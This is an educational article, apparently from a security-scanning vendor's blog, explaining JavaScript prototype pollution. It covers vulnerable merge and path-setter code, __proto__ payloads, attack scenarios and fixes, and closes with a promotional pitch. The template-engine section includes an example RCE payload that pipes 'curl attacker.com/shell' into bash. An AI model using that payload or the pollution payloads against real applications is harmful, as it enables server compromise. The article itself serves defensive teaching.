What Is Prototype Pollution?
Prototype pollution is a class of vulnerability specific to JavaScript that allows an attacker to inject properties into the root object prototype (`Object.prototype`), causing those properties to appear on all JavaScript objects in the application. Because JavaScript uses prototype-based inheritance, any property added to `Object.prototype` is inherited by every object in the runtime — corrupting application logic, bypassing security checks, and in some cases achieving remote code execution.
The vulnerability is pervasive across JavaScript environments: Node.js backend applications, frontend single-page applications, and any JavaScript library that performs unsafe object merging, cloning, or path-setting operations. It has been found in hundreds of widely-used npm packages including lodash, jQuery, minimist, and many others.
Understanding prototype pollution is essential for any team building or auditing JavaScript applications — it's subtle enough to be missed in code review but serious enough to lead to authentication bypass, privilege escalation, and RCE.
JavaScript Prototypes: A Quick Mental Model
Every JavaScript object has an internal prototype chain. When you access a property on an object, the engine first checks the object itself, then walks up the prototype chain until it either finds the property or reaches `null`.
```javascript const obj = {}; console.log(obj.toString); // found on Object.prototype ```
The critical implication: if you can write a property onto `Object.prototype`, every object in the runtime inherits it:
```javascript Object.prototype.injected = "polluted";
const a = {}; const b = {};
console.log(a.injected); // "polluted" console.log(b.injected); // "polluted" ```
Prototype pollution is the attacker-controlled version of this.
How Prototype Pollution Happens
The Vulnerable Pattern: Unsafe Merge/Clone
The most common source of prototype pollution is a recursive merge or deep clone function that doesn't validate keys before assigning them:
```javascript function merge(target, source) { for (const key in source) { if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; merge(target[key], source[key]); } else { target[key] = source[key]; // <-- vulnerable assignment } } return target; } ```
An attacker who controls the `source` object can craft a payload using the `__proto__` key:
```javascript const malicious = JSON.parse('{"__proto__": {"admin": true}}'); merge({}, malicious);
const victim = {}; console.log(victim.admin); // true — Object.prototype is polluted ```
The `__proto__` key is special in JavaScript: when used as a key in object assignment, it references the prototype of the object rather than creating a regular own property. The merge function walks into `source.__proto__`, which is `Object.prototype`, and assigns `admin: true` directly to it.
Via Constructor Prototype
An alternative path uses `constructor.prototype`:
```javascript const malicious = JSON.parse('{"constructor": {"prototype": {"admin": true}}}'); merge({}, malicious); ```
If the merge function recurses into `constructor` and then into `prototype`, it reaches `Object.prototype` through a different path. Some sanitisation libraries block `__proto__` but miss `constructor.prototype`.
Via Property Path Setters
Libraries that set nested object properties by path string are another common source:
```javascript function set(obj, path, value) { const parts = path.split('.'); let current = obj; for (let i = 0; i < parts.length - 1; i++) { current = current[parts[i]]; } current[parts[parts.length - 1]] = value; }
// Attacker controls path: set({}, "__proto__.admin", true); // Or: set({}, "constructor.prototype.admin", true); ```
This pattern appears in configuration parsers, template engines, and form processing libraries.
Real-World Exploit Scenarios
Authentication Bypass
An application checks for admin status:
```javascript function isAdmin(user) { return user.admin === true; } ```
After prototype pollution with `{"__proto__": {"admin": true}}`, every user object inherits `admin: true`. Even a completely unauthenticated request will pass an admin check if the code uses `user.admin` without verifying the property is an own property of `user`.
**Real example:** CVE-2019-10744 in lodash's `defaultsDeep` function. Lodash is used in millions of applications; this vulnerability allowed prototype pollution through user-controlled object merging in any application using the affected versions.
Remote Code Execution via Template Engines
Several Node.js template engines use `Object.prototype` properties during template rendering. If an attacker can pollute a property that the template engine reads from the prototype, they can inject executable code:
```javascript // Attacker pollutes: Object.prototype.outputFunctionName = "_tmp1;global.process.mainModule.require('child_process').execSync('curl attacker.com/shell | bash');//";
// Template engine reads outputFunctionName from the compiled template context // The injected string is executed as JavaScript inside the template compiler ```
This exact technique has been used against Pug (formerly Jade) and Handlebars template engines in Node.js applications. CVE-2019-10757 (Handlebars) and CVE-2021-23369 (Handlebars again) are two documented instances.
Express.js Middleware Bypass
Many Express.js middleware functions check for properties on request objects:
```javascript app.use((req, res, next) => { if (req.isAuthenticated) { next(); } else { res.status(401).send('Unauthorized'); } }); ```
If `Object.prototype.isAuthenticated` is polluted to `true` before this middleware runs, every request — including unauthenticated ones — bypasses the check, because `req.isAuthenticated` resolves to the polluted prototype property.
Denial of Service
Polluting properties that core library functions rely on can crash an application. Setting `Object.prototype.length = 0` breaks code that iterates over arrays by length. Setting `Object.prototype.constructor = null` breaks code that checks object constructors.
Where to Look for Prototype Pollution
npm Packages
A large proportion of prototype pollution vulnerabilities originate in npm packages rather than application code directly. The sink is in the library; the source is user-controlled input passed to the library. Audit the packages you use against the npm security advisories database and the Snyk vulnerability database.
**Historical vulnerable packages:** lodash (`merge`, `mergeWith`, `defaultsDeep`), jQuery (`$.extend` with deep flag), minimist (argument parsing), Hoek, mquery, set-value, object-path, and hundreds more.
API Endpoints Accepting JSON Body
Any endpoint that accepts a JSON body and passes it through a merge or clone operation is a candidate. Test by sending:
```json { "__proto__": { "polluted": "yes" } } ```
Then make a separate request and check whether the response or application behaviour reflects the polluted property. If a subsequent request to an entirely different endpoint suddenly has access to a property you injected in the prototype, pollution has occurred.
URL Query Parameters and URL Path Processing
Libraries that parse query strings into nested objects (QS, qs module with `allowPrototypes: true`) can be vulnerable:
``` GET /search?__proto__[admin]=true GET /search?constructor[prototype][admin]=true ```
Configuration Merging
Applications that merge user-supplied configuration with a default configuration object are frequently vulnerable if the merge is implemented with a naive deep clone.
How to Fix Prototype Pollution
Key Validation in Merge Functions
Reject the keys `__proto__`, `constructor`, and `prototype` in any recursive merge or path-setting function:
```javascript function safeMerge(target, source) { for (const key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; // skip dangerous keys } if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; safeMerge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } ```
Use Object.create(null) for Lookup Tables
Objects created with `Object.create(null)` have no prototype and cannot be polluted:
```javascript const safeMap = Object.create(null); safeMap['__proto__'] = 'harmless'; // just a regular own property ```
Use hasOwnProperty Checks
When checking for properties that control security decisions, always verify the property is an own property of the object, not inherited from the prototype:
```javascript // Vulnerable: if (user.admin) { ... }
// Safe: if (Object.prototype.hasOwnProperty.call(user, 'admin') && user.admin) { ... } ```
Freeze Object.prototype
In environments where you control the entire runtime, freezing `Object.prototype` prevents any pollution:
```javascript Object.freeze(Object.prototype); ```
This is a defensive measure rather than a fix — it prevents exploitation but doesn't fix the underlying vulnerable code path.
Keep Dependencies Updated
Most prototype pollution vulnerabilities in npm packages have patches. Maintaining up-to-date dependencies and running `npm audit` regularly catches known-vulnerable package versions.
Use `--disable-proto=delete` in Node.js
Node.js 13.2+ supports the `--disable-proto=delete` flag, which removes `__proto__` access entirely from the runtime. This blocks the most common pollution path but not the `constructor.prototype` path.
Testing for Prototype Pollution Automatically
Yrzo AI's continuous web application scanning includes prototype pollution test cases for JSON endpoints, query string parameters, and form submissions. Because the vulnerability's exploitability depends on what properties the application subsequently reads from the prototype, automated testing focuses on detecting the pollution itself — injecting known payloads and observing whether application behaviour changes downstream.
**[Test your JavaScript application for prototype pollution → Start free at yrzoai.dev](https://yrzoai.dev)**
A `{"__proto__": {"admin": true}}` in your API request body should never make every user an admin. Continuous testing catches the merge functions that let it happen.
Find out if your website has these vulnerabilities
Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.
Scan your website →